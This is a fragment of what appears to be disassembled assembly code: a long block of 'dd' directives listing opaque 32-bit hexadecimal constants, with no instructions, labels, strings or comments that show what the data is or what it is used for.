		dd 7E05443Ah, 31929E26h, 0C616DFD8h, 0DD50BA95h, 0F6740409h
		dd 0C9FB2970h, 0A3744D84h, 4A55F273h, 27745DF4h, 184AA558h
		dd 0CC4F7D3Fh, 22965015h, 10BDA927h, 95CEDFABh,	6CA8C929h
		dd 13D2EF54h, 0E03CE106h, 80C6966Bh, 0A03AC886h, 805243BDh
		dd 772D152Dh, 0A061787Ch, 2514D663h, 8704355h, 71EB7A02h
		dd 0F6A820E9h, 3F7B82F9h, 0C2551F47h, 22E3C0CEh, 61989721h
		dd 0F9044BBCh, 99BDE94Dh, 0C15286A4h, 712B7E90h, 5F36F83Ch
		dd 0C9C11BABh, 38EA2A70h, 49D77E96h, 0E909B88Eh, 4CD7881Eh
		dd 0EF22F6FFh, 1855E72h, 48F88BC2h, 58C560EEh, 2FB65266h
		dd 0A5780899h, 7AE4505Eh, 0FBF4BD05h, 7425FE02h, 67027DD7h
		dd 0F85FB850h, 0C7292DC1h, 0C07F7E09h, 4F23E9D0h, 40468C63h
		dd 0C1992563h, 43BCB9DDh, 0F3267778h, 54599FD6h, 0F73EEEAh
		dd 951A6411h, 21CB45E5h, 3D84AE24h, 395C04A0h, 0C8BE38E7h
		dd 7C176211h, 4BB82159h, 7669AB06h, 9C0B5237h, 80645E6Fh
		dd 6679C21Fh, 0C5F60C7h, 75A31D22h, 0F706524Fh,	0B00BDDF7h
		dd 6DF200CAh, 0E9050791h, 73BC4A2Fh, 0F5295F84h, 0B9BA37FAh
		dd 0F172E67Dh, 40EDD93Fh, 0FB309E05h, 0DCA87E51h, 745F1029h
		dd 404EE3E8h, 3704C542h, 0D18AA8A7h, 3E896F04h,	59839462h
		dd 7BBA38F7h, 0EE6CE884h, 0C26A0C8Dh, 93E1FD5Ch, 103CEF2h
		dd 0FB664BDDh, 5C0CF418h, 3A47205Fh, 0CA7C7009h, 2D23DA06h
		dd 0F7C8E3DDh, 5517727Ah, 22BA525Ah, 0F4A3666Ch, 414DEF7h
		dd 7E2E6C1h, 6BD89EEEh,	8F94DE8Bh, 5A65AC5h, 0ED518556h
		dd 62062008h, 2D5E207Bh, 4A5B51E0h, 3D5E431h, 0D4E927h
		dd 0C9814122h, 0A9131F86h, 44CA1306h, 0EF3059FDh, 8D24E727h
		dd 350027E9h, 48AF12C8h, 6332E405h, 0FDC56480h,	0A73C2F73h
		dd 0F654EE2Eh, 0B49A5FA3h, 6CC042Ah, 4C6CAE02h,	855FF6D0h
		dd 0DC85AF15h, 0A9BD082h, 8DF7252Bh, 3A7D5A2Eh,	55AD00Bh
		dd 0FCA52C7Eh, 0EB7825D9h, 713C779Dh, 0A1F4F7A2h, 92727088h
		dd 3D38B934h, 495614CEh, 2BE737C9h, 1C3A6861h, 0C4B25E3Ch
		dd 0C7056AC4h, 0DA098EBEh, 3EE9B394h, 0F29F4D7Ah, 52C055Bh
		dd 4A5DAFC2h, 1FB6ED92h, 149DEF40h, 0ED74AC73h,	9A6B8E06h
		dd 0A80B0C09h, 0FA1D7B71h, 5308804Dh, 407609BBh, 0B2803308h
		dd 296DD4E8h, 1FB0F197h, 0B03A5225h, 5E1D827Bh,	0F6810F03h
		dd 7E9AA73Eh, 0FC2E2D21h, 0AAE9A0F3h, 81989CDBh, 0BE7B38EFh
		dd 9BA53F01h, 0E1E90800h, 0F6C1C08Bh, 427C55AAh, 7495C0BFh
		dd 0FCF4BFB0h, 0A9A9D42h, 34DD25E9h, 9E759534h,	3856B2E2h
		dd 0EE4E3A85h, 0E540198Bh, 3C309050h, 2B120FFEh, 3CCCEA29h
		dd 897E4E1Ah, 34EF2BD4h, 0DFDD81D7h, 0CF800492h, 20B364E7h
		dd 96A1093Ah, 0B0AB043Ch, 0E9BDD500h, 95FCF59Dh, 0D849C555h
		dd 0D1DABA5Bh, 5F6BAE10h, 503F0E9h, 1C9C6C83h, 2C6D6EF1h
		dd 0CFC2A725h, 0E0EEDD68h, 15A98497h, 349897AFh, 6CB4EBDFh
		dd 44514B5Ch, 385B87Bh,	98F9F580h, 72044CEDh, 283B0EEBh
		dd 0F962CE8h, 0C6C1E65Fh, 2E9CE9FEh, 0C88571FBh, 94742959h
		dd 0FAFC4AC7h, 0ACDA174Ah, 0B5B4B495h, 120D09B8h, 4BC04EFDh
		dd 0F78071ADh, 325578D2h, 0C8598B70h, 12C9A6C3h, 328A2B0Ah
		dd 4B578875h, 9116880h,	5B641E1Dh, 0E52F59F4h, 44788356h
		dd 0E2F06874h, 0B4C753Ah, 0FE3D2E2Ch, 722FA2A6h, 7F080941h
		dd 9900D094h, 4B517619h, 20CE012Eh, 0CEBA0820h,	0D685AF5Bh
		dd 909666Ch, 5B840FC9h,	54171EDCh, 0ABB44FACh, 0BE9698CBh
		dd 0BB5E36CEh, 80566D72h, 0EB23E6B8h, 0E0D12546h, 0DA2651F6h
		dd 0DE825F25h, 1E567647h, 0C8721283h, 0C0A2F430h, 78D48D51h
		dd 13386F55h, 4788C589h, 10C340Bh, 0D468581Dh, 0C4A33807h
		dd 800E66ECh, 0CF30FAC3h, 55D06FD2h, 6123B225h,	9AE3EA05h
		dd 132660C2h, 58B9A97h,	460A0598h, 0A569D54Ah, 24BB424Ah
		dd 0EE24A557h, 4C626FC1h, 0B5FA6CECh, 7D5AD5FEh, 0D25B9466h
		dd 77E026CDh, 0EAFCBD74h, 0E4D33545h, 5436F26Bh, 8B561D72h
		dd 24765EBCh, 5DDEC541h, 7F29A860h, 0D72EEDEAh,	9C02D563h
		dd 0BAB4578Bh, 2A1B58BFh, 5F094020h, 69416A68h,	4654D072h
		dd 5D0A94C2h, 0D927EAC6h, 6B78768Ah, 0EAC8890Ah, 717A0C64h
		dd 2AEEE247h, 561C1A60h, 260DCA68h, 1F5318Fh, 0CD2D6CC6h
		dd 6BE578E0h, 8163DED4h, 90E9FD29h, 0BF4881C6h,	35046C6Fh
		dd 12190460h, 0B1E03E5Ch, 0CAB42096h, 0EF332738h, 68D68113h
		dd 0D5BD3464h, 2E67F15Eh, 0E9822CE7h, 0B70366EEh, 0BDF883F0h
		dd 0B238FEFh, 727450E9h, 43F71654h, 7B0EA1B6h, 74E25EF0h
		dd 0F0254868h, 8A7AC32Eh, 0A4A35457h, 0C1B21235h, 2B455F93h
		dd 902CC402h, 57CCF546h, 0E49F201h, 6576E962h, 9E45AB2Bh
		dd 23D12836h, 0A33B5580h, 0EFD235h, 7040C366h, 0E832E96Fh
		dd 42D72D9Ch, 4862505Ah, 0EB2561D1h, 0B8B31D60h, 0B9C3803Dh
		dd 0A70AEFFEh, 0CBA3E3D0h, 7B70EFC1h, 0B7B2E4E9h, 9F542B7Ch
		dd 54498059h, 387FA5E4h, 9F79A6D2h, 80024799h, 84055B39h
		dd 0EA7AC614h, 0EFD29891h, 90517060h, 155E43Dh,	3FB94631h
		dd 24CE5A1Bh, 76614E42h, 1A8D6841h, 0DD4C8C3Fh,	0C1755F5Ah
		dd 9FFE517h, 0C2895DC5h, 0D8EBCA68h, 0E1381809h, 0C9DADE89h
		dd 75E4295Dh, 0C900BDF0h, 291C2274h, 0B417E949h, 115F2743h
		dd 9D544F4Eh, 0FF0B53BAh, 4EA6D259h, 9F9B36Eh, 2916E953h
		dd 0D545F7A4h, 4DD53465h, 0E967C1FBh, 28CD3C7Bh, 0AD2F759h
		dd 12D66EA0h, 943370Bh,	71579163h, 0C914020Bh, 647FF5C4h
		dd 0C381BD0Eh, 0D848A379h, 980A96EAh, 0B2895451h, 23400317h
		dd 9D21FBB8h, 0C1312C1Ch, 0FBFF7242h, 98FC274Ch, 0FAE8C150h
		dd 96637BE9h, 30C86B93h, 86A55062h, 47FB913Dh, 6B86EE7Bh
		dd 167524E6h, 0B656FE33h, 41F58382h, 164C9E1Eh,	0DC884BCAh
		dd 575A1F4Fh, 45520821h, 51E582Ch, 1F877917h, 8F412860h
		dd 499AF45Ch, 0CD3B24EAh, 0F81B59F0h, 8E18F380h, 0F2038169h
		dd 0F7B3FDCh, 0BC08B587h, 0CEBF0084h, 8128EF1Eh, 5D26CF0Bh
		dd 0E71E808Eh, 0B0157AE5h, 0D4913017h, 76F1BD2Ch, 8105FD00h
		dd 0B364F5CDh, 0D0E92541h, 0DCF62602h, 80931BC0h, 6CECE77h
		dd 0A01CDF38h, 285AF402h
		dd 44C75CE7h, 3A1FB111h, 41A9C168h, 69B86FF2h, 32FBE239h
		dd 5816FEF3h, 0A5BE73FDh, 0DFE958D6h, 0D7201B94h, 7DD9D29h
		dd 38A2DD8Eh, 417455BEh, 0DC8E625Ah, 4C5927FBh,	775DDA62h
		dd 7A151E45h, 65BE0EDCh, 44750F5Dh, 8EAE1840h, 57A84BD1h
		dd 0CD467185h, 0C0E947A4h, 67D4BD55h, 0F72F0172h, 77774D5h
		dd 48E07E2Eh, 1308468Eh, 0B7EAC8AAh, 1AFC0224h,	0DB6E130Ch
		dd 0E163E068h, 0A970B83Bh, 89DCBD6Ah, 0BAF2DF5Bh, 0E497D79Dh
		dd 98C1E986h, 80D93B13h, 45B7087h, 2CC80399h, 6708BEA5h
		dd 29BB0075h, 0C16C0908h, 3306EB26h, 8C03E703h,	0E922DFD8h
		dd 55166AE3h, 54415809h, 84DD5479h, 0BC4C082h, 735F8333h
		dd 80E52EE8h, 8975C6E7h, 8BE9310Ch, 4B551638h, 9F7EBD5Bh
		dd 0A6F04797h, 0F37C4E88h, 0AD9D135Bh, 4BE0B489h, 14D6BA53h
		dd 952D5EB7h, 204F8310h, 4A41F033h, 2D609845h, 44691302h
		dd 0E34FD7F7h, 0F8A849Dh, 49EB871Fh, 3AA4B914h,	3A1EEEFh
		dd 0F011C12Fh, 84FBA05Ah, 45F21224h, 8733E56Fh,	9AF21AFh
		dd 0D829D004h, 5E0A6816h, 4DC4B6FCh, 0FE1AD847h, 525A2709h
		dd 1F207D4Ah, 0A8A1CE06h, 0D54A8F90h, 344054F8h, 1A2ABAFh
		dd 8AB994A0h, 705B5764h, 98BD37EAh, 243ABF20h, 0CFD3B30h
		dd 0C6D770F4h, 23D8870Bh, 91075FE6h, 0DD0BFF52h, 6609512Bh
		dd 0F2582174h, 0C3370277h, 6AA6E96Ch, 0E2B2076Bh, 0C987BDA7h
		dd 9B1BD500h, 8927D112h, 60CE59CBh, 8EC2E1F3h, 8582925Ah
		dd 4AE47D89h, 0AC8585Ah, 705F1EFAh, 48B9CD0Dh, 0E8F82F6Eh
		dd 0AE5Bh, 3E68CCCBh, 0E419E47h, 66D0FEFCh, 0EF528Ah, 4ABD8EDh
		dd 781A2DAAh, 290A7301h, 3F88E9E8h, 9CC6C928h, 314C105Ah
		dd 0E744853h, 522E4DCDh, 61192007h, 64E00745h, 62084CE7h
		dd 0E1B88076h, 14B1B05h, 95C2C229h, 1F715AE5h, 32EC5ED9h
		dd 400004B6h, 0A021756Dh, 2D916586h, 29F77BF2h,	7A2E042Dh
		dd 49C30D00h, 79BF1BA0h, 2506004Eh, 4CC755C9h, 4BD20D00h
		dd 4A3541D5h, 9B8D0926h, 4881C329h, 0F75BAEC5h,	7D8A595h
		dd 0FB55B908h, 7182695Ch, 5D0BB2A3h, 702CBDE8h,	28AC53B9h
		dd 2259F100h, 64E95F1Bh, 0BC555115h, 6FF60527h,	80A451FFh
		dd 0AE04FB2Ch, 0E03F5EDh, 56A974FEh, 6947FDF9h,	89BB194Fh
		dd 0E03BC39Bh, 0B0953471h, 9D62820Fh, 0E97B24ECh, 4E34834Eh
		dd 0B74AE845h, 2281C8ECh, 0F31B367Bh, 8F268FDBh, 8209D8EDh
		dd 8A79007h, 0C8B96071h, 0EE1D0EF7h, 96E94C16h,	5C5B90E0h
		dd 0B1114B30h, 0BCF20745h, 694F95A9h, 0FDA22B29h, 6B26EF96h
		dd 5467017Fh, 32CE92FEh, 0AEF0D212h, 0EC5E33E3h, 1313B50Dh
		dd 129AF6BFh, 4A08F989h, 0A45C16E8h, 5358528Eh,	0B120E1h
		dd 7912EBB8h, 30772D6Bh, 0C1604817h, 4CE0F7A0h,	5B2F4F03h
		dd 122F8F98h, 679039F2h, 0D93990B5h, 84204EE9h,	96D504EFh
		dd 0DD5E0995h, 68251460h, 9F4C4C9Fh, 0E9587C5Ch, 0E3744AD9h
		dd 0E4506248h, 9D680140h, 0DE5FC212h, 3F76EBD8h, 237E3B85h
		dd 9850CC81h, 0CECDCC50h, 10460A78h, 27F5E5D1h,	0DFEA12C0h
		dd 15E2B12h, 0E90180FAh, 0C7C0946Dh, 5F106BB9h,	0B65984Fh
		dd 0B0A0EF99h, 16976C78h, 51A29505h, 1C570AA0h,	6209FC94h
		dd 0F4EAAF22h, 80292F57h, 3B1753E8h, 6ED16801h,	32AA3E08h
		dd 0FD883BC0h, 0AB8EC897h, 85800D31h, 2E2DF050h, 718F3A17h
		dd 7F324380h, 5F80168h,	6CF507A2h, 821782EDh, 0C07F367Ah
		dd 0A32DC8E8h, 72C2C707h, 0DC9A4A7Ch, 5A6EE23Bh, 0C968AE0Fh
		dd 63835E3Ch, 1D5A628Bh, 491B4BFAh, 3A6E45Ch, 401E970h
		dd 90DD0AAh, 0EB8BEECFh, 2F75BE03h, 0CEF22E91h,	63C970C0h
		dd 0E10E4660h, 0FA1D0F71h, 211A0FF6h, 0E6804193h, 735A7A2Fh
		dd 3917EEF8h, 64092026h, 43805DF7h, 56DC3E79h, 2F020504h
		dd 12C22796h, 57A34A26h, 0C2F411F8h, 3E48B5Eh, 0D211E30h
		dd 8D6CCA2Ch, 0E3DCA58Dh, 74F18709h, 0FF5A553h,	7A74654Dh
		dd 28CDCDBFh, 1068A07Fh, 89E98056h, 0C16BD86Eh,	1D5535F9h
		dd 41EAE82Eh, 2C6BF508h, 7AF05F06h, 0B1511756h,	72B1F11Eh
		dd 2042CB9Fh, 80E7D098h, 73973CFh, 0FA3088C7h, 0ADEA905Bh
		dd 0F498D328h, 9389625Eh, 92CEE22Eh, 0AB6A523h,	0E206883h
		dd 0B07F69FDh, 3043069Ch, 0E9174D1Ch, 0BA94727Ch, 3AE58469h
		dd 8C9F61E3h, 5F1C9107h, 0E7A3015Ah, 2886409h, 8585EE06h
		dd 0EB339B31h, 0A8B6C34h, 6557222Ch, 2AB300AFh,	0EB80DBF6h
		dd 3BB1F912h, 0D8856509h, 0AE054AABh, 0D001D703h, 801CE957h
		dd 0FEFA6593h, 0D1891C1Eh, 0E879A1A4h, 6705256h, 9B2613CFh
		dd 0BEDAF063h, 0C0539505h, 8F93106h, 0DB0CED05h, 0EEE5BF5Eh
		dd 0A7DDEC7Fh, 0E9435BDAh, 0EB0D4FF1h, 27B87312h, 682F5DB8h
		dd 8B07F934h, 245CE6E9h, 543FB860h, 124E5F06h, 94750728h
		dd 0E920004Dh, 0F7C95679h, 7FA8438Fh, 0EEFA5FB8h, 0D1F68E27h
		dd 52BA0610h, 8C5EAE1Fh, 91484D0Fh, 1644E434h, 0F6C15CBCh
		dd 2B58070Fh, 0C937ABCh, 570A7D92h, 77438995h, 0C9F8DA89h
		dd 0FD2F7FBCh, 6583393h, 0E8DE10B4h, 6A86F14Fh,	0C3B544A8h
		dd 0ABE4458Eh, 0F7844EACh, 0F8290795h, 0D7BF52F2h, 0B90085D3h
		dd 6D993FC7h, 7C90581h,	0F9607252h, 485B7F53h, 0CDF0A6BCh
		dd 2BD372Bh, 68924217h,	0FBE560Fh, 726C59D8h, 0D810E385h
		dd 7EE3244Dh, 5EA264FCh, 85204352h, 0CAFE8103h,	56E9D0C9h
		dd 46DD0A7Bh, 80C01FDDh, 0D1F70DECh, 0B700BD55h, 815DA330h
		dd 0F1ECAF5h, 0E931D3A4h, 488CB836h, 13F74C27h,	50EE4A5Bh
		dd 33750826h, 5C5C46D0h, 0D6E8A54Eh, 7F94EB97h,	0FB96D4ECh
		dd 72A94F13h, 40555F1Eh, 416C2D8Fh, 0E91249BAh,	41ED6FA2h
		dd 28589F03h, 26E150F3h, 136A79CBh, 7C41EB94h, 164252CFh
		dd 401D1D60h, 4348B8FBh, 315F0928h, 4956F9C3h, 0B0DD7A04h
		dd 4B59E98Ah, 7CA74A46h, 0E316A417h, 0EEAC5AA6h, 0B4DABDE5h
		dd 0E9EE5094h, 0B7F0B6EAh, 8E66850Bh, 0A1203390h, 0EF800EB0h
		dd 6EE15075h, 2A30A52Ch, 0BFD8E905h, 27378EFAh,	1370665Eh
		dd 89CC885h, 0F3203E4Eh, 0A0255209h, 0BB025509h, 0D8A38C7Ah
		dd 18C1CB89h, 0B92A82ACh, 0EAC0CFBDh, 0C2CA7F38h, 3120E258h
		dd 0D1F2B7A3h, 0F5A8F425h, 81E9DF10h, 0C1C17A62h, 0C1B3F55Fh
		dd 8F71401h, 6522E9CFh,	84ED9981h, 20E87259h, 230F888Eh
		dd 9FD166D5h, 0C479E58Eh, 49E93EACh, 59DC690Fh,	82EB2984h
		dd 9A579BCDh, 0FF810B28h, 3DE4B3C6h, 12C7ED88h,	0FADE14F5h
		dd 2317CF04h, 8E04BCFDh, 0C0749D5Bh, 4069984Eh,	0CA3A3576h
		dd 631B9623h, 0B54A2BF0h, 0A2A0FB66h, 0A2F7EA6h, 0EDB38120h
		dd 0F02B2B70h, 5540FFF0h, 0E5BBC045h, 43386C3Ah, 0BC12BBB2h
		dd 7109BFEFh, 0DDEBC236h, 0CB659151h, 1766B7F0h, 0FB21FD68h
		dd 0D050DC23h, 0C94B32B8h, 0F65CC114h, 1E2F4828h, 2A74C240h
		dd 14BC3C17h, 1307DFF7h, 344D41E9h, 51E0A695h, 6AEEB523h
		dd 0A9532D5Eh, 0A1B7A2BAh, 164C3E9h, 0E872B5BAh, 73D7292Eh
		dd 1AA0080Ch, 6EE80ABDh, 2BE0FC2h, 5A610A2Fh, 0B88447Fh
		dd 589A7877h, 8D5A87Fh,	170D0C34h, 0A63F305Dh, 7A2B4148h
		dd 0FB4E37B9h, 317F27CAh, 531C720Ah, 594FDC55h,	3DF6739Fh
		dd 152FB319h, 7CB8DDCEh, 1522C0Fh, 0BD2ABCE0h, 0AD414E64h
		dd 0EB0E744Dh, 0C040B215h, 1D0882E1h, 8018C16Bh, 6BEDC861h
		dd 0EA834102h
		dd 0B34655FFh, 90EF207h, 0C2E76A28h, 0C7E9E9E9h, 2CCC2EC0h
		dd 5A27D531h, 0B417C77h, 78C8F652h, 2098013h, 0FCD82110h
		dd 0A2D7F20Ah, 0AB2460Bh, 15B90847h, 0FC3B1326h, 0B8E400BFh
		dd 7A434C95h, 345A2054h, 4D63594Ch, 40680903h, 8021F96Ch
		dd 32022714h, 0BB5FE95Fh, 4FF296E4h, 6481DD5Eh,	52174335h
		dd 8EA84155h, 0AAAD0278h, 4913E9BEh, 2F8552F7h,	905D700Fh
		dd 1332FC2h, 315A60EBh,	70525EF3h, 5F81DD39h, 709A1A60h
		dd 0DE7E9573h, 0F3EF85CFh, 0BE3E72F1h, 0F33B062Dh, 25C0929Dh
		dd 0FE74AEh, 50EBD107h,	355A70B8h, 0B9ECDF98h, 0FEECE289h
		dd 49E1F4CAh, 0D890F042h, 0C999811Ah, 0D0118555h, 949D4FFh
		dd 0A0213CBAh, 201B4BD3h, 7470B568h, 94955797h,	68B4E904h
		dd 7EDF39FEh, 9E9434A9h, 0C50AB9D3h, 0AEC3F501h, 0CDCF1272h
		dd 0D3C0BADCh, 7BEA28ACh, 26C21359h, 0C1DB8130h, 0C6B33A7Bh
		dd 0AE89E027h, 0F8085CA0h, 92A0665Bh, 4D9C4284h, 0F8A07664h
		dd 0A9014E58h, 660E96A9h, 4D0453FAh, 0D2E43FADh, 0DB341711h
		dd 6520EF17h, 5E1BB53h,	0E9FF58D7h, 980EC7Dh, 0D7E88850h
		dd 0B4BADC8Eh, 0F68F0BC5h, 0AFC4DBDAh, 85E7E03Dh, 6D232E81h
		dd 0E3BF5700h, 77DA611Eh, 0E8C774D2h, 0C88BF304h, 0E9C32802h
		dd 47D73F57h, 0D2220C84h, 9FB0B33Eh, 28D5C10Fh,	0AE5F84D9h
		dd 9F7058DDh, 0F2495E16h, 0B308D206h, 401424D0h, 3880D1A7h
		dd 2139E097h, 8EE925FBh, 75BDE700h, 1F5EC86Bh, 82B9EF83h
		dd 0FF0E62B1h, 7E996683h, 50E2AB85h, 1CD58ADAh,	9EC93717h
		dd 39EA525Eh, 0CFD37655h, 3540126Bh, 0C3728853h, 208BDE58h
		dd 61E1BD5Fh, 323C963Fh, 564098FAh, 11685302h, 0D5180E3Fh
		dd 0E2761600h, 8497DD9Eh, 0F78121F9h, 7620DBF7h, 7330B737h
		dd 4A4EE957h, 5CB922AEh, 7872BA41h, 0CB1CCC9Fh,	4C58B001h
		dd 38107F32h, 6E64C3Eh,	70BA5897h, 0A1DD0B0Ch, 2E7475BBh
		dd 65585E49h, 0ACED101h, 0A5DA2C94h, 5EA8F805h,	0C15574BEh
		dd 91CF8E9h, 0D17B85DDh, 7B8099DDh, 0DF8650E8h,	0F8BF5B69h
		dd 35D1855Ah, 5EB00C55h, 0F604BF2Dh, 4F582F0Ch,	1A39EE80h
		dd 25E9E690h, 46DDE329h, 5A5409B1h, 4D7E9968h, 4FCF5067h
		dd 2940CE1Ah, 0B220D75Ah, 596684F2h, 6BEF1844h,	880F4E60h
		dd 7C707EA2h, 4BDFE3D5h, 0DB8BBEB2h, 0FABDE913h, 53F3AAC5h
		dd 3A69B4D8h, 0E93D2005h, 70B69260h, 64087F0Bh,	3418D870h
		dd 0D458A057h, 0FAE69F40h, 5A3D7E20h, 0D3CEA25Ah, 1867A2EAh
		dd 42A3887h, 0B036E43Eh, 6BED4137h, 3320CE1h, 29255490h
		dd 0A527DB50h, 0BC2ACE35h, 79C05289h, 6B3E5F6Ah, 4AC2022Eh
		dd 807D3C54h, 0A9E907AFh, 47CBB71Bh, 6E2A3680h,	25F0CEF7h
		dd 90859495h, 36B309AAh, 967FDE20h, 8DE928ABh, 6FC10429h
		dd 0C0E85E50h, 0C4774898h, 315A565Ch, 0F7050607h, 0AF003A61h
		dd 0F97C11B6h, 920B0C80h, 0DE01578Eh, 27AFEAC4h, 0C3FF2D09h
		dd 2247D1A6h, 5099A72Bh, 7127B09h, 25EF72E8h, 5022AE09h
		dd 0C882D70Ah, 9B61EA31h, 0B8AA040Dh, 4D40B6BBh, 4C9E9237h
		dd 0BF268015h, 33500DFCh, 89B719DAh, 0C43BF44Dh, 9587B03Bh
		dd 0FFBD45D7h, 6C6FE9A0h, 0BFE29CBDh, 5C6687FCh, 2EB8076Bh
		dd 0D9018F1Bh, 0D74832D5h, 54972B72h, 0A7521723h, 28EED608h
		dd 7BFF2A13h, 0BAD3D2FDh, 21AE7156h, 59D82730h,	4EB2A14h
		dd 0AF325F87h, 0A03B0E99h, 0EF2E6481h, 4808D26Bh, 0BCC39FE7h
		dd 7BFCFC25h, 0F2B6D699h, 0A405103Bh, 0BB978C5Eh, 94C77F5Bh
		dd 0B4561E6h, 0D06DE2BFh, 0C65AE0D0h, 0E5435ECDh, 0EE112C87h
		dd 0C454472Fh, 0BADD90A2h, 0F93A7CD1h, 0FCE22844h, 0D9B20F4Eh
		dd 0B92BEB84h, 0A72777A5h, 72ADD6C9h, 97567F56h, 6828F765h
		dd 8038FD5Ch, 57B61E37h, 0CB009653h, 6B516BC9h,	6C56C903h
		dd 0C9D48D09h, 29590702h, 988C4CDDh, 77B81329h,	391FA1B7h
		dd 2BDC16E2h, 7718FAE6h, 0B45063C1h, 0E188D016h, 647B3505h
		dd 8B12155Eh, 635931E0h, 36204D86h, 99EC125Eh, 0CFD0E618h
		dd 50133DF6h, 8ABD33EAh, 0F0CDC605h, 7BE10536h,	80BDBCDAh
		dd 0A0B6851h, 5969041Ah, 0C001E983h, 0B915CD60h, 323287B8h
		dd 56408805h, 3082836h,	6D875549h, 0F74AD809h, 82A52CACh
		dd 4105804Eh, 165318BFh, 0AAB9062Ch, 76B55160h,	59E80F28h
		dd 1D97252Ch, 0BE9C522h, 688B8CC9h, 0C6136609h,	38450523h
		dd 69F97199h, 0EC99347Fh, 0FAE9B046h, 0BB7FA862h, 6D4328CFh
		dd 9255FA0h, 0ACE866D5h, 2DC99E19h, 435980E0h, 9605EE6Eh
		dd 124F3A9Ch, 352E7483h, 0ABD8207h, 233474E1h, 0DE572DCEh
		dd 38C14F91h, 7429F354h, 3E17B682h, 7C123509h, 0EE6CAE01h
		dd 7770FA53h, 0D3259779h, 44F9821Bh, 0C44C0F77h, 0F8AA5090h
		dd 5E8D60Dh, 0BFAC124Ah, 0BAC84739h, 3520C0FEh,	0FAFB2741h
		dd 29BD3158h, 5612EB01h, 0EAEDB04h, 5AF162A8h, 5E97BB91h
		dd 10A900D7h, 94C0C95Ah, 3D8483B0h, 0E5D9385Fh,	9C2D7E7Ah
		dd 0FE369292h, 0EC6A18D9h, 1B688313h, 0F3AE8506h, 0F70493D7h
		dd 39817668h, 7F4A636Eh, 38205C58h, 0C6A7FB80h,	0A5E527CFh
		dd 0A452AB09h, 0E6B4B1FCh, 12F35B45h, 8B23CE2Eh, 90E6FD5Ah
		dd 0D60A6825h, 0F3E9503Ch, 5DD14960h, 0E9735A0Bh, 8C451F2Bh
		dd 0F2E37858h, 272D5E00h, 1176C71h, 70550D0h, 0E969C75Ah
		dd 94F9D972h, 4498296h,	5FB67554h, 46520F25h, 847A38D4h
		dd 117DFF4Fh, 0FE29902h, 456BC560h, 779836A1h, 0F97B410Fh
		dd 0CDF58110h, 3A608D14h, 2ACC4166h, 4B9F5DA4h,	0A483A923h
		dd 164EA3FFh, 2B6121A5h, 1F72053Eh, 0A0063A04h,	9A92FE67h
		dd 0C0395407h, 2C6214CBh, 0A6EF8102h, 0FDD43667h, 0E2485EE6h
		dd 88C38ADFh, 20758F08h, 3C4F2697h, 54D163Dh, 0B769FF6Eh
		dd 142F7FF1h, 0A041E8F1h, 0DBF6805Fh, 19DC7FAh,	414B881h
		dd 6F6DE5h, 2B7205FDh, 4CEDFF7h, 414FA781h, 4A43D96h, 9BE71151h
		dd 0D795EE2Dh, 1DAE04BFh, 5BF8AAAEh, 21882CC8h,	9ABD0133h
		dd 0E828FD07h, 20B7A3F1h, 941D7E43h, 0B189818h,	4C2D587Fh
		dd 0D03E255h, 14021C08h, 0E87E755Bh, 103CD2E3h,	532EA6Fh
		dd 8946852h, 0F29F8345h, 1C8215CDh, 6F0972D4h, 89F2265Ah
		dd 0CA24354Bh, 66BFCA9h, 975483F6h, 1BBF548h, 4E8546BFh
		dd 7BFDF14Bh, 0B6EED584h, 5556C981h, 0A20B5CD8h, 7D692723h
		dd 4E060720h, 0DA9832A5h, 0D4C90150h, 3ED2B10Eh, 4A1FECE9h
		dd 0A71ABB5Fh, 96D829EAh, 9134F825h, 1A615508h,	3AF60BEAh
		dd 0A503A982h, 40C9DDD2h, 772700C1h, 4F7D7AF2h,	5062F3D6h
		dd 75AA3D4Ch, 5A029A5Eh, 5D45844Dh, 2D07C108h, 69B71FA3h
		dd 0D2189D2Ah, 94435B59h, 0BB572F50h, 61C5CF64h, 253EDA0h
		dd 6CCE6855h, 8B61623Fh, 5AC7806Eh, 0BE56D8F7h,	1245876h
		dd 9E68100h, 46089014h,	9FAFE39Dh, 4EBE05A4h, 11600287h
		dd 4F53E9A1h, 0C28046C5h, 0ABCAFCC3h, 62BAACEAh, 23721A3Dh
		dd 295316CFh, 0B3CBE02Ch, 0FD9E0F0h, 80D1285Bh,	5A6607BEh
		dd 810257C0h, 3B880AC1h, 0EE4BE3E8h, 0C279576Dh, 0CAA7F779h
		dd 6AAD6E5Ch, 0C75E77C3h, 0CE158B7Ah, 794E25EDh, 0F16B8166h
		dd 0B2A9E011h, 614A3E1Bh, 0BAF4BD12h, 1AB47371h, 0BC1EA330h
		dd 4C7EAC3h, 805835E2h,	27C5E650h, 0AB74B528h, 2A074A0Ch
		dd 75370C0Ah, 566001Dh,	7D282B8Eh, 2D51F001h, 30AD2F07h
		dd 0E2E1CA13h
		dd 3C950DEh, 6C2E7A0h, 0A52D3326h, 7C1E9D06h, 1FF10572h
		dd 0D1159E05h, 559D471h, 7B87F980h, 316F0B34h, 0AFDC5BDAh
		dd 0C401EAF8h, 9030CE0Bh, 2097C502h, 1E59EC3Bh,	3F7BD9F4h
		dd 0E9E385FDh, 75A2C4B6h, 2F8BCA03h, 0F2B003B1h, 3F2C98A0h
		dd 76108DD3h, 1C779663h, 4FDACA04h, 0ECAA1912h,	0E4EBA4FBh
		dd 64B544B3h, 5F37095Ah, 28777E48h, 5E1708DCh, 0F2FADB25h
		dd 0C16E3049h, 0C006E0C1h, 0F3642172h, 0DE26F720h, 0A703EE46h
		dd 64FD73Eh, 234EC24Eh,	0BA090C05h, 0F5B3EBDAh,	7F2F38F3h
		dd 0A0566A9h, 1395B363h, 75EE79DDh, 5EDEEC28h, 0FA2497FCh
		dd 0ABB4938Eh, 0AD96350Ah, 6E3A412Fh, 2D05C633h, 0B84F02CBh
		dd 9C13998h, 7C5859CEh,	0F2295078h, 6016579Dh, 5D97147Ah
		dd 0C695EEBCh, 0F941F3B5h, 1F052FD5h, 2E1CD3AFh, 0FEE909F4h
		dd 75FA2153h, 331D828h,	0EB1D173Ah, 0FB3B0A2Dh,	552BF872h
		dd 5B556409h, 14576BEDh, 5D5C4809h, 4F353E7Ch, 0B29CBC4Eh
		dd 776DFA59h, 5E172DC6h, 5969D79h, 60ADF7C2h, 0B61ED3A2h
		dd 2DE56340h, 30567281h, 0F19E196Ch, 37477F27h,	60A2E98Bh
		dd 702C5AE8h, 0F3F8500Fh, 9CC0FA20h, 2DBD01BDh,	2BB1D1A9h
		dd 8FBED984h, 65344E10h, 0A1FFFCABh, 0B603D970h, 6E6C0D8h
		dd 975F8073h, 0C23C24ADh, 0C190C61Eh, 73E91DEEh, 0FB5FC271h
